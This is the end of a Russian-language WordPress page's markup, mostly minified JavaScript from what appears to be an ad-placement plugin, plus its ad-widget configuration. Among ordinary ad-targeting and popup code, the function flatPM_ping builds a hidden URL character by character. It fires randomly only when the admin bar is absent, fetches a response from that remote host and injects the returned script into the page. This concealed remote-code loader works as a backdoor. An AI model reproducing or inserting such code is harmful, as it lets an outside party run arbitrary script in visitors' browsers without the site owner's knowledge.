0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,f=t.how.iterable.selector,s=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(f).add(i.filter(f))).length&&("bottom_to_top"==s&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(o){try{var t=[],e="",a=o.html.length;if(void 0!==o.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.role&&(void 0!==o.role.role_enabled&&-1==o.role.role_enabled.indexOf(flat_userVars.role)||void 0!==o.role.role_disabled&&-1!=o.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.geo&&(void 0!==o.geo.country_enabled&&-1==o.geo.country_enabled.indexOf(flat_userVars.country)&&-1==o.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==o.geo.country_disabled&&(-1!=o.geo.country_disabled.indexOf(flat_userVars.country)||-1!=o.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==o.geo.city_enabled&&-1==o.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==o.geo.city_disabled&&-1!=o.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+o.ID+'"]').remove();for(var r,i,l,f,s=0;s<a;s++)("∞"==o.html[s].res_of||o.html[s].res_of<=flat_userVars.winwidth)&&("∞"==o.html[s].res_to||o.html[s].res_to>flat_userVars.winwidth)&&(void 0!==o.html[s].group?flat_userVars.adb?(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd)):(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(o.html[s].fst)):flat_userVars.adb?t.push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd):t.push(o.html[s].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.popup.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('<div class="flat__4_modal" data-flat-id="'+o.ID+'" data-id-modal="'+o.ID+'"><div class="flat__4_modal-content">'+c+"</div></div>"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.outgoing.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="flat__4_out '+_+'"'+u+' data-flat-id="'+o.ID+'" data-id-out="'+o.ID+'">'+c+"</div>");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var a=flat_pm_arr[e],o=!1;if(!(void 0!==a.chapter_limit&&a.chapter_limit>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_userVars.textlen||void 0!==a.title_limit&&a.title_limit>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_userVars.titlelen)){if(void 0!==a.date){if(void 0!==a.date.time_of&&void 0!==a.date.time_to){var r=new Date(flat_userVars.date+"T"+a.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+a.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),f=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),f<r||i<f)continue}if(void 0!==a.date.date_of&&void 0!==a.date.date_to){var i=new Date(a.date.date_of+"T00:00:00"),f=new Date(a.date.date_to+"T00:00:00"),s=new Date(flat_userVars.date+"T00:00:00");if(s<i||f<s)continue}}if(void 0===a.os||!(void 0!==a.os.os_enabled&&-1==a.os.os_enabled.indexOf(flat_userVars.os)||void 0!==a.os.os_disabled&&-1!=a.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==a.cookies){var n=!1;if(void 0!==a.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(a.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==a.cookies.cookies_disabled&&flat_userVars.testcook&&ff(a.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==a.utmget){var d=!1;if(void 0!==a.utmget.utmget_enabled&&ff(a.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==a.utmget.utmget_disabled&&ff(a.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==a.referer&&(void 0!==a.referer.referer_enabled&&-1==a.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==a.referer.referer_disabled&&-1!=a.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(o=!0),!o&&void 0!==a.browser&&(void 0!==a.browser.browser_enabled&&-1==a.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==a.browser.browser_disabled&&-1!=a.browser.browser_disabled.indexOf(flat_userVars.browser))||(o&&void 0!==a.browser&&void 0!==a.browser.browser_enabled&&-1!=a.browser.browser_enabled.indexOf(flat_userVars.browser)&&(o=!1),o||void 0===a.geo&&void 0===a.ip&&void 0===a.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(s="block_geo_role_ip",flat_pm_then.push(a),flatPM_setWrap(a),flat_body.hasClass(s)||(flat_body.addClass(s),flatPM_ajax(s)),o=!0),o||(flatPM_setWrap(a),flatPM_next(a)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="flat__4_modal-overlay"></div>'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1></$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{n.appendChild(a)}catch(e){return console.warn(e),!0}ff(n).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,n="yandex_rtb_R";t.indexOf(n)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(n,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var r=parseHTML(t);if(0!=r.children.length)for(var l=r.childNodes.length,o=0;o<l;o++){var d=r.childNodes[o],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0!=d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?d.innerHTML&&(i.innerHTML=d.innerHTML):(!d.text||/(yandexContext|yandexcontext|adsbyg)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='<div class="flat__4_video_flex"><div class="flat__4_timer">'+a+" через <span>"+o+'</span></div><div class="flat__4_video_item">'+n+'</div><div class="flat__4_video_item_hover"></div></div>',i=e.once;l(t).each(function(){var e=l(this);e.wrap('<div class="flat__4_video"></div>');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith('<button class="flat__4_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"1","selector":"h1","search_all":"false"}},"ID":"263","html":[{"fst":"<div data-widget=\"P~LeEQlmfyxuvQzv\"><\/div>\n<script type=\"text\/javascript\">(function(b,c){c.id=b.querySelector('div[data-widget=\"P~LeEQlmfyxuvQzv\"]');var a=b.createElement(\"script\");a.src=\"\/\/tt.ttarget.ru\/s\/tt3.js?v=2\";a.async=!0;a.onload=a.readystatechange=function(){a.readyState&&\"loaded\"!=a.readyState&&\"complete\"!=a.readyState||(a.onload=a.readystatechange=null,TT.createBlock(c))};b.getElementsByTagName(\"head\")[0].appendChild(a)})(document,{block: 5669, count: 0});<\/script>\n","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"1","selector":"h2","search_all":"false"}},"ID":"264","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"2","selector":"h2","search_all":"false"}},"ID":"265","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"3","selector":"h2","search_all":"false"}},"ID":"500","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"4","selector":"h2","search_all":"false"}},"ID":"494","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"5","selector":"h2","search_all":"false"}},"ID":"565","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"iterable":{"direction":"top_to_bottom","before_after":"after","N":"5","selector":".flat_pm_start~p","search_all":"false"}},"ID":"564","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"bottom_to_top","before_after":"after","N":"1","selector":"h2","search_all":"false"}},"ID":"566","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"simple":{"position":"3"}},"ID":"266","html":[{"fst":"","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"6","selector":"h2","search_all":"false"}},"ID":"4246","html":[{"fst":"<div data-widget=\"gokY1TJv5FTXSD7r\"><\/div>\n<script type=\"text\/javascript\">(function(b,c){c.id=b.querySelector('div[data-widget=\"gokY1TJv5FTXSD7r\"]');var a=b.createElement(\"script\");a.src=\"\/\/tt.ttarget.ru\/s\/tt3.js?v=2\";a.async=!0;a.onload=a.readystatechange=function(){a.readyState&&\"loaded\"!=a.readyState&&\"complete\"!=a.readyState||(a.onload=a.readystatechange=null,TT.createBlock(c))};b.getElementsByTagName(\"head\")[0].appendChild(a)})(document,{block: 5670, count: 0});<\/script>\n","snd":"","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"1","selector":"h3","search_all":"false"}},"ID":"4247","html":[{"fst":"<script src='https:\/\/news.2xclick.ru\/loader.js' async><\/script>\n<div id='containerId160126' style='margin:5px 0;'><\/div>\n<script>\n (function(w, d, c, s, t){\n \tw[c] = w[c] || [];\n \tw[c].push(function(){\n \t\tgnezdo.create({\n \t\t\ttizerId: 160126,\n \t\t\tcontainerId: 'containerId160126'\n \t\t});\n \t});\n })(window, document, 'gnezdoAsyncCallbacks');\n <\/script>","snd":"<script src='https:\/\/news.2xclick.ru\/loader.js' async><\/script>\n<div id='containerId160126' style='margin:5px 0;'><\/div>\n<script>\n (function(w, d, c, s, t){\n \tw[c] = w[c] || [];\n \tw[c].push(function(){\n \t\tgnezdo.create({\n \t\t\ttizerId: 160126,\n \t\t\tcontainerId: 'containerId160126'\n \t\t});\n \t});\n })(window, document, 'gnezdoAsyncCallbacks');\n <\/script>","res_of":"∞","res_to":"∞"}]},{"how":{"onсe":{"direction":"top_to_bottom","before_after":"after","N":"7","selector":"h2","search_all":"false"}},"ID":"4248","html":[{"fst":"<script src='https:\/\/news.2xclick.ru\/loader.js' async><\/script>\n<div id='containerId160125' style='margin:5px 0;'><\/div>\n<script>\n (function(w, d, c, s, t){\n \tw[c] = w[c] || [];\n \tw[c].push(function(){\n \t\tgnezdo.create({\n \t\t\ttizerId: 160125,\n \t\t\tcontainerId: 'containerId160125'\n \t\t});\n \t});\n })(window, document, 'gnezdoAsyncCallbacks');\n <\/script> ","snd":"<script src='https:\/\/news.2xclick.ru\/loader.js' async><\/script>\n<div id='containerId160125' style='margin:5px 0;'><\/div>\n<script>\n (function(w, d, c, s, t){\n \tw[c] = w[c] || [];\n \tw[c].push(function(){\n \t\tgnezdo.create({\n \t\t\ttizerId: 160125,\n \t\t\tcontainerId: 'containerId160125'\n \t\t});\n \t});\n })(window, document, 'gnezdoAsyncCallbacks');\n <\/script> ","res_of":"∞","res_to":"∞"}]}];</script> <script>function jQueryLoaded_flatpm_123( $ ) {
if( "function" !== typeof flatPM_start ){
return;
}
flatPM_start();
}
function jQueryLoading_flatpm_123() {
if (window.jQuery && window.flat_pm_arr) {
jQueryLoaded_flatpm_123( jQuery )
} else {
setTimeout(function() {
jQueryLoading_flatpm_123()
}, 50)
}
}
jQueryLoading_flatpm_123()</script></div> <script defer src="https://strong-stuff.ru/wp-content/cache/autoptimize/js/autoptimize_4921067c2f9df3bed4da11a190c56d56.js"></script></body></html> 
